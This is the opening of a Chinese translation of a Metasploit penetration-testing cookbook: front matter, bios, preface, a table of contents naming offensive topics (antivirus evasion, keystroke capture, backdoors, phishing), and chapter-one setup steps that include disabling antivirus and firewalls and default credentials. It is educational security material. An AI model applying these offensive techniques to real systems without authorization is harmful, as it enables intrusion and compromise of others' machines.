Metasploit渗透测试手册

[印度] Abhinav Singh　著

王一　译

人民邮电出版社

北京

内容提要

本书是一本介绍渗透测试的安全类技术书籍，全书以 Metasploit 这一最流行的渗透测试框架为演示和实验工具，内容由浅入深，易于理解，同时具有极强的可操作性与实用性。

本书总共分为10章，前两章对Metasploit及信息收集与扫描进行简单介绍；第3章介绍使用 Metasploit对操作系统漏洞进行攻击渗透；第 4章介绍使用 Metasploit进行客户端漏洞攻击和防病毒软件规避；第5章、第6章介绍非常重要的Meterpreter，并演示了利用该工具探索已攻陷目标机器的情况；第7章、第8章分别介绍框架中模块和漏洞利用代码的使用问题；第9章介绍Armitage；第10章介绍社会工程工具包的使用问题。

本书作为Metasploit渗透测试技术手册，适合于渗透测试人员、网络安全管理人员、信息安全专业的学生及对信息安全感兴趣的读者阅读。

关于作者

Abhinav Singh 是来自印度的一位信息安全专家，年轻有为。他对破解和网络安全领域有着浓厚的兴趣。他以自由职业者的身份积极服务于多家安全公司，为它们提供咨询服务。当前，他是印度 Tata Consultancy Services 公司的一名系统工程师。他因其博客（http://hackingalert.blogspot.com）而被人们所熟知，他在其博客中与他人分享了解决破解和网络安全问题的经验。Abhinav的文章已经被多家技术杂志和门户网站所引用。

我要感谢我的父母，谢谢他们一直以来对我的支持和信任。我还要感谢我的姐姐，作为我的医生，她对我悉心照料。谢谢Sachin Raste先生，他为审校本书付出了宝贵的精力。谢谢Kanishka Khaitan，他是我最完美的榜样。我还要感谢我的博客读者们，他们向我提供了宝贵的建议和意见。最后，我要感谢Packt Publishing出版社，与他们的默契合作，让我终生难忘。

关于审稿人

Kubilay Onur Gungor 当前以Web应用安全专家的身份供职于Sony欧洲公司，他还是Sony欧洲和亚洲地区的事件经理。

他在IT安全类领域已经工作了5年多的时间。独立在安全领域研究了一段时间以后，他凭借图像的密码分析（即使用混乱的逻辑图来加密）开始了其安全职业生涯。通过在Isik大学数据处理中心的工作，他在网络安全领域积累了大量经验。在Netsparker担任QA测试人员工作期间，他开始进入渗透测试领域，并为土耳其的一家领先的安全公司工作。他曾经为很多大型客户（例如银行、政府机构、电信公司）的IT基础设施进行多次渗透测试。他还为多家软件厂商提供了安全咨询服务，以帮助他们维护软件安全。

Kubilay还一直在研究多学科的网络安全方法，其中包括犯罪学、冲突管理、感知管理、恐怖主义、国际关系和社会学。他还是 Arquanum 多学科网络安全研究学会（Arquanum Multidisciplinary Cyber Security Studies Society）的创始人。

Kubilay经常以发言人的身份参与安全会议。

Kanishka Khaitan 是印度普纳大学计算机应用专业的一名硕士研究生，她在瓦拉纳西印度大学获得了数学专业的荣誉学位。在过去的两年里，她一直在Amazon的Web领域工作。而在此之前，她参与了Infibeam（一家位于印度的在线零售公司）为期6个月的实习生项目。

Sachin Raste 是一位著名的安全专家，在网络管理和信息安全领域有 17年以上的工作经历。他与其团队为印度的一些大型商业机构设计过网络和应用，并将它们与IT流程以流水化的形式集成起来，从而实现业务的连贯性。

他当前以自身安全研究人员的身份与 MicroWorld（信息安全解决方案电子扫描范围[eScan range]的开发团队）一起工作。他设计并开发了一些开创性的算法用来检测和预防恶意软件和数字欺诈，从而保护网络免于黑客和恶意软件的攻击。Sachin Raste在其专业领域内还发表了多篇白皮书，并出席了许多以“宣传防止数字欺诈，增强防范”为主题的电视节目。

与MicroWorld一起工作的经历也提升了Sachin的技术技能，从而使其可以跟上信息安全业界的当前趋势。

首先，我要特别感谢我的妻子和儿子，以及为我提供帮助的密友们。正是因为你们的存在，世间一切之事才有了可能。谢谢来自MicroWorld及其他单位的同事们，谢谢你们能够耐心地聆听，并帮助我成功完成了许多复杂的项目；与你们的合作令人愉快而难忘。感谢我的老板—MicroWorld的MD—他给了我足够的自由和时间来探索自己的未知。

感谢你们！

献词

谨将本书献给我的祖父母，感谢他们的祝福。将本书献给我的父母和姐姐，感谢他们的支持和鼓励。还要将本书献给我的密友Neetika，他是我永不止步的动力。

前言

对当前环境下的网络安全而言，渗透测试是核心工作之一。渗透测试通过进行实质意义上的入侵式安全测试，对目标的安全性进行完全分析，这有助于识别目标系统主要组件中硬件或软件方面的潜在弱点（即安全漏洞）。渗透测试之所以重要，是因为其有助于从黑客的视角来识别目标系统的威胁与弱点，并且在发现目标中存在的安全漏洞之后，可以实时地对其进行渗透利用以评估漏洞的影响，然后采用适当的补救措施或打补丁，以便保护系统免遭外部攻击，从而降低风险因素。

决定渗透测试可行性的最大因素是对目标系统相关信息的了解情况。在不具备目标系统先验知识的情况下，就只能实施黑盒测试。在黑盒测试工作中，渗透测试人员只能“白手起家”，一点一滴地收集目标系统的相关信息。而在白盒测试中，测试人员已全面掌握目标系统的相关信息，此时需要做的工作是识别目标系统中存在的已知（或未知）弱点。这两种渗透测试方法都有相当的难度，并且每种环境都会有特定的需求。业界专家提炼了一些关键步骤，这些步骤对几乎所有形式的渗透测试都是至关重要的，包括以下几点。

● 目标发现与枚举：识别目标，收集目标相关的基本信息，但不与目标建立任何形式的物理连接。

● 漏洞识别：通过扫描、远程登录、网络服务等多种方法，统计出目标系统中运行的软件和提供的服务。

● 漏洞利用：对目标系统软件或服务中存在的已知或未知漏洞进行利用。

● 漏洞利用后的控制程度：成功地进行漏洞利用后，攻击者在目标系统中具备的访问控制权限级别。

● 报告：针对发现的漏洞及其可能的应对措施提出建议。

这些步骤看起来很简单，但事实上，要对运行着大量服务的高端系统进行全面的渗透测试，需要花费数天甚至数月的时间才能完成。渗透测试之所以是一项耗时的任务，原因在于渗透测试以“试错法”技术作为基础。对漏洞的渗透与利用依赖于大量的系统配置要素，如果不去实践尝试，就不可能确定某一个特定的漏洞是否能够成功利用。试想一下，以对运行着10项服务的Windows操作系统进行漏洞利用为例，渗透测试人员必须对这10种不同服务中是否存在已知漏洞进行全面的分析与识别。而且在识别之后，才能开始漏洞利用的过程。这还只是仅需要考虑一个系统的小型场景，如果面对的是包含大量类似系统的整个网络，我们又该怎样逐一地对其进行测试呢？

这就是渗透测试框架发挥作用的地方。渗透测试框架可以将多个测试过程进行自动化实现，例如网络扫描、基于可用服务及其版本信息的漏洞识别、自动式漏洞利用等。渗透测试框架为测试人员提供了一个全面的控制面板，测试人员可以借助控制面板对所有测试活动进行有效的管理，同时还可以对目标系统进行有效监控，从而加快渗透测试进程。渗透测试框架的另一个优势是报告生成。利用渗透测试框架，可以自动保存渗透测试结果，并生成测试报告以备后续使用，或者与远程工作的其他人员共享。

本书旨在帮助读者掌握当前应用最为广泛的测试框架之一—Metasploit。Metasploit框架是一个开源平台，有助于创建实用型漏洞利用工具，并提供了渗透测试需要的其他核心功能。本书将带领读者畅游Metasploit世界，并介绍怎样使用Metasploit进行有效的渗透测试。此外，本书还将涉及Metasploit框架之外的其他一些扩展工具，并讨论怎样提高其功能以便提供更好的渗透测试体验。

本书内容

第1章，给安全专业人员的Metasploit快速提示，将带领读者初探Metasploit与渗透测试，对Metasploit框架及其体系结构、库等内容进行初步认识。要使用Metasploit框架进行渗透测试，需要先对其进行安装，本章将介绍怎样使用虚拟机构建自己的渗透测试环境。然后讨论怎样在不同的操作系统上进行安装，最后对Metasploit的使用进行初步尝试，并对其使用界面进行介绍。

第2章，信息收集与扫描，这是渗透测试的第一步，本章从最传统的信息收集方式开始，然后介绍怎样使用 Nmap 进行高级扫描。本章在内容上还涵盖了一些其他工具，例如Nessus与NeXope。与Nmap相比，NeXope提供了一些额外的信息，从而弥补了Nmap的不足。最后，讨论 Dradis 框架，渗透测试人员广泛使用这一框架与远程的其他测试人员共享测试结果和报告。

第3章，操作系统漏洞评估与利用，主要讨论目标系统中运行的、尚未打补丁的操作系统中漏洞的发现与利用。利用操作系统漏洞成功率高，并且操作简便。还讨论对几种流行的操作系统的渗透测试，例如Windows XP、Windows 7及Ubuntu等，包括这些操作系统中常见的、已知的一些漏洞，以及怎样在Metasploit中利用这些漏洞来突破目标机器。

第4章，客户端漏洞利用与防毒软件规避，讨论怎样使用Metasploit进行客户端漏洞利用的主题。本章在内容上涉及一些流行的客户端软件，例如Microsoft Office、Adobe Reader及IE浏览器。本章还进一步讨论如何规避或关闭客户端防病毒软件，以防止目标系统产生告警信息。

第5章，使用 Meterpreter 探索已攻陷目标，讨论漏洞利用成功后的下一个步骤。Meterpreter 是一款在漏洞利用成功之后使用的工具，包含一些功能，有助于在攻陷的目标机器中获取更多信息。本章还包括一些有用的渗透测试技术，例如权限提升、文件系统访问、键盘截获窃听等。

第6章，高级Meterpreter脚本设计，通过介绍构建自己的Meterpreter脚本、使用API组合工作等高级主题，本章使读者对Metasploit知识的认识进入一个新高度。通过本章的学习，读者可以更灵活地运用Metasploit，因为可以根据渗透测试的实际场景，自己设计实用脚本，并将其融入到Metasploit框架中使用。本章还包括一些高级的“后渗透”概念，例如劫持、哈希注入及持续连接等内容。

第7章，使用模块进行渗透测试，本章将读者的注意力转移到Metasploit中另一个重要方面：模块。Metasploit框架中收集整合了大量模块，不同的模块适用于不同的特定场景。本章包括Metasploit中一些重要的辅助性模块，也包括怎样构建自己的Metasploit模块。需要注意的是，准确理解本章内容需要一些关于Ruby脚本的基本知识。

第8章，使用漏洞利用代码，通过讨论怎样将任意的攻击代码转换为Metasploit模块，本章将终极武器加入到Metasploit库中。本章涉及一些高级主题，将向读者讲解怎样构建自己的Metasploit攻击代码，并在框架中进行使用。由于本章不可能涉及Metasploit框架中的所有漏洞利用代码，建议读者可以将本章作为手册，以便为Metasploit库之外的漏洞利用代码进行测试时提供参考。本章还涉及模糊测试模块，该模块可用于对任何漏洞构建自己的概念性验证代码。最后，本章以一个完整的实例作为结尾，包括怎样对一个应用程序进行模糊测试、怎样发现缓冲区溢出漏洞，以及怎样构建针对该漏洞的Metasploit模块。

第9章，使用Armitage ，简单讨论Armitage，它是最流行的Metasploit模块之一。Armitage为 Metasploit 框架提供了一个图形化界面，并提供一些点击式的漏洞利用选项增强Metasploit框架功能。本章重点关注Armitage的一些重要方面，例如快速发现漏洞、多目标处理、标签间移位，以及成功渗透后的处理等内容。

第10章，社会工程学工具包，这是本书的最后一章，介绍Metasploit框架中的另一个重要扩展—社会工程学工具包（Social Engineer Toolkit，SET），用于生成利用目标用户的疏忽大意对目标进行渗透的测试用例。本章内容涉及SET相关的一些基本攻击手段，包括钓鱼攻击、网站攻击、USB感染攻击等。

阅读本书的先决条件

为在阅读过程中重现和实践本书介绍的一些场景，读者需要准备两套系统，一套作为渗透测试实施系统，一套作为目标系统。另一种方法是，只需准备一套系统，之后使用虚拟化软件在其上建立测试环境。

此外，读者还需要准备一个 BackTrack5的 ISO 镜像文件，其中已包含预先安装的Metasploit和本书中讨论的其他工具。另一种方法是，从官方网站下载适合于读者的操作系统平台的Metasploit。

本书读者对象

本书的目标读者既包括专业的渗透测试人员，也包括希望体验这一工具的 Metasploit新手，书中包含了适合每个人的全部内容。本书采用了易于阅读、理解和场景再现的“食谱”结构，从初学者层次的渗透测试基础知识讲起，自然地过渡到专家级的高级知识和技能。因此，各个层次的读者都可以很容易地阅读和理解本书的内容。此外，本书需要读者具备扫描、漏洞利用和Ruby脚本的基本知识。

本书体例

figure_0011_0001 提示框中的警告或重要提示以如此形式出现。

figure_0011_0002 技巧与窍门则以这样的形式出现。

目录

   封面

   扉页

   内容提要

   关于作者

   关于审稿人

   前言

   第1章 给安全专业人员的Metasploit快速提示

      1.1 介绍

      1.2 在Windows操作系统中配置Metasploit

      1.3 在Ubuntu操作系统中配置Metasploit

      1.4 BackTrack 5与Metasploit——终极组合

      1.5 在单机上建立渗透测试环境

      1.6 在带有SSH连接的虚拟机上构建Metasploit环境

      1.7 从界面开始——Metasploit的“Hello World”

      1.8 在Metasploit框架中建立数据库

      1.9 使用数据库存储渗透测试结果

      1.10 分析数据库中存储的渗透测试结果

   第2章 信息收集与扫描

      2.1 介绍

      2.2 被动式信息收集1.0——传统方式

      2.3 被动式信息收集2.0——升级方式

      2.4 端口扫描—Nmap方式

      2.5 探索用于扫描的辅助模块

      2.6 使用辅助模块进行目标服务扫描

      2.7 使用Nessus进行漏洞扫描

      2.8 使用NeXpose进行扫描

      2.9 使用Dradis框架共享扫描信息

   第3章 操作系统漏洞评估与利用

      3.1 介绍

      3.2 Exploit用法快速提示

      3.3 在Windows XP SP2上进行渗透测试

      3.4 绑定远程访问目标机器的shell

      3.5 在Windows 2003 Server上进行渗透测试

      3.6 Windows 7/Server 2008 R2 SMB客户端无限循环漏洞

      3.7 对Linux（Ubuntu）机器进行攻击渗透

      3.8 理解Windows DLL注入漏洞

   第4章 客户端漏洞利用与防病毒软件规避

      4.1 介绍

      4.2 IE浏览器不安全脚本错误配置漏洞

      4.3 IE浏览器CSS递归调用内存损坏漏洞

      4.4 Microsoft Word RTF栈溢出漏洞

      4.5 Adobe Reader util.printf()缓冲区溢出漏洞

      4.6 使用msfpayload生成二进制程序和shellcode

      4.7 使用msfencoe规避客户端防病毒软件防护

      4.8 使用killav.rb脚本禁用防病毒软件

      4.9 深度解读killav.rb脚本

      4.10 从命令行中禁用防病毒软件服务

   第5章 使用meterpreter探索已攻陷目标

      5.1 引言

      5.2 分析meterpreter系统命令

      5.3 权限提升和进程迁移

      5.4 与目标建立多重通信信道

      5.5 meterpreter文件系统命令

      5.6 使用timestomp更改文件属性

      5.7 使用meterpreter网络命令

      5.8 getdesktop与keystroke监听

      5.9 使用 scraper meterpreter脚本

   第6章 高级Meterpreter脚本设计

      6.1 介绍

      6.2 Passing the hash

      6.3 使用后门建立持久连接

      6.4 使用meterpreter进行拓展

      6.5 使用meterpreter进行端口转发

      6.6 Meterpreter API与mixins

      6.7 Railgun——将Ruby转换为武器

      6.8 向Railgun中添加DLL和函数定义

      6.9 构建“Windows防火墙反激活”meterpreter脚本

      6.10 分析现有的meterpreter脚本

   第7章 使用模块进行渗透测试

      7.1 引言

      7.2 使用扫描器辅助模块

      7.3 使用辅助管理模块

      7.4 SQL注入与DOS攻击模块

      7.5 后渗透阶段模块

      7.6 理解模块构建的基础

      7.7 分析现有的模块

      7.8 构建自己的后渗透阶段模块

   第8章 使用漏洞利用代码

      8.1 介绍

      8.2 探索模块结构

      8.3 常用的漏洞利用代码mixins

      8.4 使用msfvenom

      8.5 将漏洞利用代码转换为Metasploit模块

      8.6 移植并测试新的漏洞利用代码模块

      8.7 使用Metasploit进行模糊测试

      8.8 编写FileZilla FTP模糊测试器

   第9章 使用Armitage

      9.1 介绍

      9.2 使用Armitage

      9.3 扫描与信息收集

      9.4 发现漏洞与攻击目标

      9.5 使用Tab切换处理多个目标

      9.6 使用Armitage进行后渗透阶段操作

      9.7 使用Armitage进行客户端攻击渗透

   第10章 社会工程学工具包

      10.1 引言

      10.2 使用社会工程学工具包（SET）

      10.3 使用SET配置文件

      10.4 钓鱼式攻击矢量

      10.5 网站攻击矢量

      10.6 多攻击Web矢量

      10.7 介质感染攻击

   版权

第1章 给安全专业人员的Metasploit快速提示

本章讲解下述内容：

● 在Windows系统中配置Metasploit；

● 在Ubuntu系统中配置Metasploit；

● BackTrack 5与Metasploit 终极组合；

● 在单机上构建渗透测试环境；

● 在带有SSH连接的虚拟机上构建Metasploit环境；

● 从界面开始——Metasploit的“Hello World”；

● 在Metasploit框架中建立数据库；

● 使用数据库存储渗透测试结果；

● 分析数据库中存储的渗透测试结果。

1.1 介绍

Metasploit 是当前信息安全与渗透测试领域最流行的术语，完全颠覆了已有的渗透测试方式。Metasploit 之所以如此受欢迎，是因为其所能执行的大部分任务可以简化渗透测试工作以使得系统更加安全。所有流行的操作系统都支持Metasploit，并且Metasploit框架在这些系统上的工作过程也几乎是一样的。本书中的内容和示例主要以BackTrack 5操作系统为基础，因为该操作系统预装有Metasploit及在其上运行的其他第三方工具。

首先介绍Metasploit框架及与其相关的各种术语。

● Metasploit框架： H.D.Moore在2003年开发的一个免费的、开源的渗透测试框架，后来被Rapid 7公司收购。该框架目前的稳定版是使用Ruby语言开发的。Metasploit框架包含了世界上最大且经过测试攻击的代码数据库，每年下载量超百万。该框架也是迄今为止使用Ruby脚本语言构建的最复杂项目之一。

● 漏洞：系统中存在的可能被攻击者或渗透测试人员用以破坏系统安全性的弱点。漏洞可能存在于操作系统中、应用软件中，甚至存在于网络协议中。

● 漏洞利用代码：是攻击者或测试人员针对系统中的漏洞而设计的，用以破坏系统安全性的攻击代码。每个漏洞都有自己相应的攻击代码，Metasploit v4中包含超过 700个针对不同漏洞的漏洞利用代码。

● 攻击载荷：完成实际攻击功能的代码，在成功渗透漏洞后会在系统上运行。攻击载荷最常见的用途是在攻击者和目标机器之间建立一个连接，Metasploit v4中包含超过250个实现不同攻击功能的攻击载荷。

● 模块：模块是组成完整系统的基本构建块。每个模块执行某种特定的任务，将若干模块组合成单独的功能主体可构成一个完整的系统。这种体系结构最大的优势在于，开发人员可以很容易地将新的漏洞利用代码和工具整合到Metasploit框架中。

Metasploit框架采用的是模块式体系结构，漏洞利用代码、攻击载荷、编码器等都可以视为单独的模块。下图展示了Metasploit的体系结构。

进一步解释上图的内涵。

Metasploit使用不同的库，这些库是保证Metasploit框架正确运转的关键。库实际上是预定义的任务、操作和功能的组合，框架中不同模块都可以使用这些库完成相应功能。Metasploit框架最基本的组成部分是Ruby扩展库（Rex），Rex提供的某些组件包含wrapper socket子系统、协议客户端与服务器、日志子系统、漏洞利用工具类及大量其他有用的类。Rex本身在设计上是独立的组件，不像有些组件需要默认的Ruby安装。

MSF Core库对Rex库进行了一些扩展，Core主要负责实现所有与漏洞利用模块、会话和插件的接口。这一核心库由框架的基础库进行扩展，可提供简单的用于处理框架核心功能的包裹器过程，同时也提供处理框架不同方面功能的工具类，例如对状态模块进行序列化以便适应不同的输出格式。最后，框架的用户接口（UI）对基础库进行了扩展，实现了对各种类型用户接口的支持，例如命令行控制台和Web界面。

Metasploit 框架提供了 4 种不同的用户接口，分别是 msfconsole、msfcli、msfgui 及msfweb。强烈建议使用者熟练掌握这些接口，但在本书中主要介绍和演示的是msfconsole，原因在于msfconsole对Metasploit框架提供了最好的支持，对框架所有功能的发挥起到杠杆作用。

下面开始讲解本章的具体内容，并对多个方面进行示例演示。

1.2 在Windows操作系统中配置Metasploit

在Windows系统中安装Metasploit框架非常的简单，安装程序可以从Metasploit官方网站（http://www.metasploit.com/download）上下载。

准备

从官方网站上可以看到，有两种类型的安装程序可以下载，建议下载完全版的安装程序，其中包含了控制台和所有其他相关的依赖库，以及数据库和运行时环境。如果已经有配置好的供Metasploit框架使用的数据库，也可以下载迷你版的安装程序，其中只包含了控制台和依赖库。

怎样实现

下载好安装程序后，双击运行并等待安装完成即可。安装程序时会自动安装所有相关组件并建立数据库。安装完成后，可以通过安装程序创建的多种快捷方式访问Metasploit框架。

怎样工作

安装程序创建了大量的快捷方式，包括Metasploit web、cmd console及Metasploit update等。在Windows环境中，大多数使用方式都是点击操作。

在Windows系统中安装Metasploit时，应该禁用防病毒软件，因为有些安装文件会被其检测为潜在的病毒或威胁，从而阻塞安装过程。安装完成后，要确认在防病毒软件中将其安装目录设置在白名单中，否则该框架中的漏洞利用代码和攻击载荷都会被检测为病毒。

更多

下面讨论其他一些相关问题，以及在Windows系统中安装Metasploit时会遇到的一些提示信息。

安装中出现数据库错误

很多用户在Windows系统中安装Metasploit框架时会遇到一个常见的错误消息提示，如下图所示。

这是由配置PostgreSQL服务器出错导致的，可能的原因包括以下几方面。

PostgreSQL没有运行，可以使用Netstat命令查看相应端口是否开放及数据库是否正在运行。

有些安装程序需要默认的安装路径，比如，如果默认安装路径是 C 盘，将其变更为D盘就会出现这一错误。

语言编码问题。

如果遇到这一问题，可以下载安装Metasploit框架的简单版安装程序，其中只包含控制台和依赖库。之后再手动配置数据库并将其与Metasploit框架进行连接。

1.3 在Ubuntu操作系统中配置Metasploit

Metasploit 框架向基于 Ubuntu 的 Linux 操作系统提供了完全的支持，但其安装过程与Windows系统略有不同。

准备

从Metasploit官方网站（http://www.metasploit.com/download）上下载相应的安装程序。同样共有两种安装方式：迷你版安装和完整版安装，可根据实际需要进行选择。完整版安装包括所有依赖库、数据库、运行时环境等，迷你版安装只包含依赖库，不包括数据库。

怎样实现

完整版安装与迷你版安装存在一些差别，具体如下。

完整版安装；需要执行如下命令，在Ubuntu机器上安装Metasploit框架。

$ chmod +x framework-4.*-linux-full.run

$ sudo ./framework-4.*-linux-full.run

迷你版安装：需要执行如下命令，以安装选项最少的Metasploit框架。

$ chmod +x framework-4.*-linux-mini.run

$ sudo ./framework-4.*-linux-mini.run

怎样工作

上述演示的安装过程也是几乎所有其他软件在Ubuntu机器中的简单安装流程。安装完成后，可以使用hash-r命令来重载路径。

这一安装过程在几乎所有版本和类型的Linux机器上都是相同的。

更多

下面讨论其他一些相关问题，以及在Windows系统中安装Metasploit时会遇到的一些提示信息。

安装中出错

安装中可能会由于各种原因导致出错。有些版本的Ubuntu系统中Ruby语言库不完整，这可能是导致安装失败的原因之一。在这种情况下，可以通过执行如下命令单独安装依赖库。

要安装Ruby依赖库，可以运行如下命令。

$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby

libiconv-ruby libreadline-ruby irb ri rubygems

要安装subversion客户端，可以运行如下命令。

$ sudo apt-get install subversion

要安装原始扩展，可以运行如下命令。

$ sudo apt-get install build-essential ruby-dev libpcap-dev

安装完相应的依赖库后，从Metasploit官方网站下载Metasploit Unix tarball，并执行如下命令。

$ tar xf framework-4.X.tar.gz

$ sudo mkdir -p /opt/metasploit4

$ sudo cp -a msf4/ /opt/metasploit3/msf4

$ sudo chown root:root -R /opt/metasploit4/msf4

$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

成功执行上述命令之后，Metasploit框架即可安装完毕，此时即可运行该框架并执行相应命令。

1.4 BackTrack 5与Metasploit——终极组合

对于安全专业人员而言，BackTrack 是最流行的操作系统。主要有两个原因：第一， BackTrack预安装了所有流行的渗透测试工具，不需要进行单独安装；第二，BackTrack是一个基于 Linux 的操作系统，更不容易遭受病毒攻击，从而在渗透测试过程中提供了更高的稳定性。BackTrack节省了安装相关组件和工具的时间，并降低了在安装过程中出错的可能性。

准备

可以在主机上安装独立的BackTrack操作系统，也可以在虚拟机上进行安装。安装过程很简单，和安装任何基于Linux的操作系统一样。

怎样实现

（1）启动 BackTrack 操作系统时，会提示输入用户名和口令，根用户的默认用户名是root，密码是toor。

（2）成功登录系统后，可以在命令行模式下工作，也可以执行startx命令进入GUI模式。

（3）用户可以通过Applications菜单或命令行启动Metasploit框架。要从Applications菜单中启动，可以依次选择Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework等选项，如下图所示。

（4）BackTrack中Metasploit采用的是简单的目录结构体系，根文件夹是pentest，再向上是/exploits/framework3。要从命令行中启动 Metasploit，需要先启动终端窗口，并输入如下命令切换到Metasploit目录。

root@bt:~# cd /pentest/exploits/framework3

root@bt:/pentest/exploits/framework3 ~# ./msfconsole

怎样工作

从命令行中启动Metasploit需要使用msfconsole的完全路径，从Application菜单中可以实现对不同用户接口的直接访问。

1.5 在单机上建立渗透测试环境

使用多台机器构建渗透测试环境是理想的选择，但如果只有一台机器而又需要马上构建渗透测试环境该怎么办呢？答案是使用虚拟机。用户可以在多种操作系统上并发执行渗透测试任务，下面快速了解一下如何借助虚拟机在单独的系统上构建渗透测试环境。

准备

使用 virtual box构建两个虚拟机，分别采用BackTrack 5和Windows XP SP2操作系统，宿主机操作系统是Windows 7。为此，需要 virtual box安装程序和两种虚拟机操作系统的镜像文件或安装盘。完整的构建环境包括运行Windows 7的主机和分别在运行BackTrack 5、Windows XP SP2操作系统的虚拟机。

怎样实现

安装虚拟机的过程很简单，一般遵循如下3个步骤。

（1）安装 virtual box后，创建新的虚拟机，选择适当的选项并点击Next，要启动安装过程，必须提供适当的安装介质，可以是镜像文件或安装盘。要了解完整的虚拟机安装过程手册，可以参考如下链接。

http://www.virtualbox.org/manual/UserManual.html

（2）为保证虚拟机有较好的性能，推荐32位操作系统至少分配4GB内存，64位操作系统至少分配8GB内存。下一节中，将介绍在运行多台虚拟机时降低内存使用的方法。

（3）虚拟机（VM）创建完成后，可以使用 clone（克隆）选项，该选项将为该虚拟机创建一个完全一致的备份，在操作虚拟机出现失效时，可以使用虚拟机的克隆版进行快速恢复，而不需要重新安装。也可以使用 snapshot（快照）选项保存虚拟机的当前状态，包括该虚拟机当前的工作设置和状态，今后可以在任何需要的时候从快照恢复当时的工作场景。

怎样工作

在启动虚拟机之前，需要先进行一项重要配置设置，以便两个虚拟机可以互相通信。选择某台虚拟机和Settings（设置），然后选择Network settings（网络设置），在网络适配器中，有一个预安装的NAT适配器用于网络连接，在Adapter 2中选择Host-only Adapter，如下图所示。

两台机器设置如上所述。之所以选择Host-only Adapter，是为了两台虚拟机之间彼此进行通信。设置完成后，为测试是否成功，可以在命令提示符中使用ipconfig命令查看Windows虚拟机的IP地址，使用ifconfig命令查看BackTrack虚拟机的IP地址，并使用这两个IP地址互相进行ping操作，确认两台虚拟机之间是否连通。

更多

下面讨论其他一些选项，以及在完成此项任务时会遇到的一些其他问题。

禁用防火墙与防病毒软件防护

在从BackTrack虚拟机对Windows机器进行ping操作时，有时候会发现网络数据包无法收到，这本来应该意味着Windows机器不处于存活状态，但有时候是因为默认的Windows防火墙设置导致的，因此需要禁用防火墙防护并再次进行ping操作，查看数据包是否可以收到。同样地，对Windows虚拟机上的防火墙也需要进行类似处理。

安装 virtual box guest additions

virtual box提供了一些附件的附加式安装，可以提供更好的虚拟机使用体验，这些附件所能带来的好处主要有如下几方面。

鼠标从主机操作系统到虚拟机操作系统的无缝式移动；

虚拟机操作系统的自动式键盘整合；

更合适的屏幕大小。

要安装客户端附加组件，需要打开虚拟机，选择Device标签，点击 Install guest additions。

1.6 在带有SSH连接的虚拟机上构建Metasploit环境

在前面的内容中，主要讲解了如何借助虚拟化技术在单独的机器上构建渗透测试环境，但在多台虚拟机的情况下，会产生严重的内存使用问题，所以，下面将讨论一种适用于此种情况的方便而实用的技术。

准备

所需要的只是一个SSH客户端，我们将使用PuTTY，因为它是Windows环境下最流行的免费SSH客户端。我们将在 Install guest additions与SSH之间建立连接，因为该虚拟机需要消耗比Windows XP更多的内存。

怎样实现

（1）首先启动BackTrack虚拟机，在登录界面输入用户名和口令并启动命令行，现在不启动GUI，执行下面任一条命令。

root@bt:~# /etc/init.d/start ssh

root@bt:~# start ssh

该命令将在BackTrack机器上启动SSH进程。

（2）接下来输入如下命令获取IP地址。

root@bt:~# ifconfig

记下该IP地址。

（3）接下来在宿主机上启动PuTTY，输入BackTrack虚拟机的IP地址和端口号22，如下图所示。

（4）点击上图中的Open按钮，启动命令行。如果连接成功，在PuTTY命令行中看到的实际上就是BackTrack虚拟机的功能。命令行中会出现要求登录的提示，输入用户名和口令登录，之后运行ifconfig命令，查看显示的IP地址是否与BackTrack虚拟机的地址相同，如下图所示。

怎样工作

在该SSH会话中，我们可以使用PuTTY与BackTrack虚拟机进行交互。由于没有加载GUI，所以内存消耗几乎减少了一半。同样地，将BackTrack虚拟机最小化可以进一步减少内存消耗，因为Windows操作系统只为最小化进程提供了较少的内存共享，而对那些处于最大化模式运行的任务提供更快的执行速度，这样可以在一定程度上进一步减少内存消耗。

1.7 从界面开始——Metasploit的“Hello World”

界面为用户与软件或平台通信提供了一个前端操作界面。Metasploit有4个界面，分别是msfgui、msfweb、msfcli与msfconsole。强烈建议用户熟练掌握这些界面，不过本书中主要介绍的是msfconsole界面，与其他界面相比较，这一界面是功能最强大的且完整整合。

准备

启动已经安装有Metasploit的操作系统，如果是装在虚拟机上，就启动虚拟机。

怎样实现

启动msfconsole很简单，遵循如下几个步骤。

（1）在Windows操作系统中，可以通过Start |metasploit framework | msfconsole菜单路径启动msfconsole。

（2）在BackTrack中，可以浏览Applications | Exploitation tools | Network

exploitation tools | Metasploit framework | msfconsole。

（3）如果要从终端中直接启动msfconsole，需要先使用如下命令。

root@bt:~# cd /pentest/exploits/framework3

（4）此时工作目录已切换到framework3，输入如下命令即可启动msfconsole。

root@bt:/pentest/exploits/framework3# ./msfconsole

现在，msfconsole接口已经处于运行状态，可以接受命令输入。

怎样工作

Metasploit界面拓展了基础库，该库可以启动框架的原有功能。可执行简单的命令，例如建立漏洞利用代码和攻击载荷、运行更新，以及配置数据库。随着程序运行的深入，将相应调用其他功能库。

更多

下面介绍msfconsole的功能。

尝试某些命令

这里列出几条可以进行尝试和探索的命令。

msf > ls：ls命令可以列出当前所有的目录和文件，可以在其他目录下尝试。

msf > help：该命令将列出Metasploit框架中所有可用的命令，这些命令可以划分为核心命令和数据库后台命令，前者包含与框架直接相关的命令，后者包含与数据库进行交互的命令。

msf > msfupdate：可经常使用该命令将最新的漏洞利用代码、攻击载荷、库更新到Metasploit框架中。

1.8 在Metasploit框架中建立数据库

Metasploit 的重要特点是包括用于存储渗透测试结果的数据库。渗透测试涉及大量信息，并且持续数天，因此存储中间结果是必要的。因此，好的渗透测试工具应该正确地整合数据库，以便快速高效地存储结果。

准备

默认情况下，Metasploit将自带的PostgreSQL作为基础数据库。在BackTrack上，还有另外一种选择，也就是MySQL数据库。用户可以使用这两种数据库中的任一种。我们先来看一下PostgreSQL数据库的默认设置。使用如下命令，切换 opt/framework3/config目录，查看database.yml文件。

root@bt:~# cd /opt/framework3/config

root@bt:/opt/framework3/config# cat database.yml

production:

adapter: postgresql

database: msf3

username: msf3

password: 8b826ac0

host: 127.0.0.1

port: 7175

pool: 75

timeout: 5

注意系统已经创建的默认用户名、口令和默认数据库。记下这些值，后面会用到，也可以根据需要对这些值进行修改。

怎样实现

接下来的任务是连接数据库并使用。启动msfconsole，并弄清楚如何建立数据库并存储结果。

首先检查有哪些可用的数据库驱动器。

msf > db_driver

[*]Active Driver: postgresql

[*]Available: postgresql, mysql

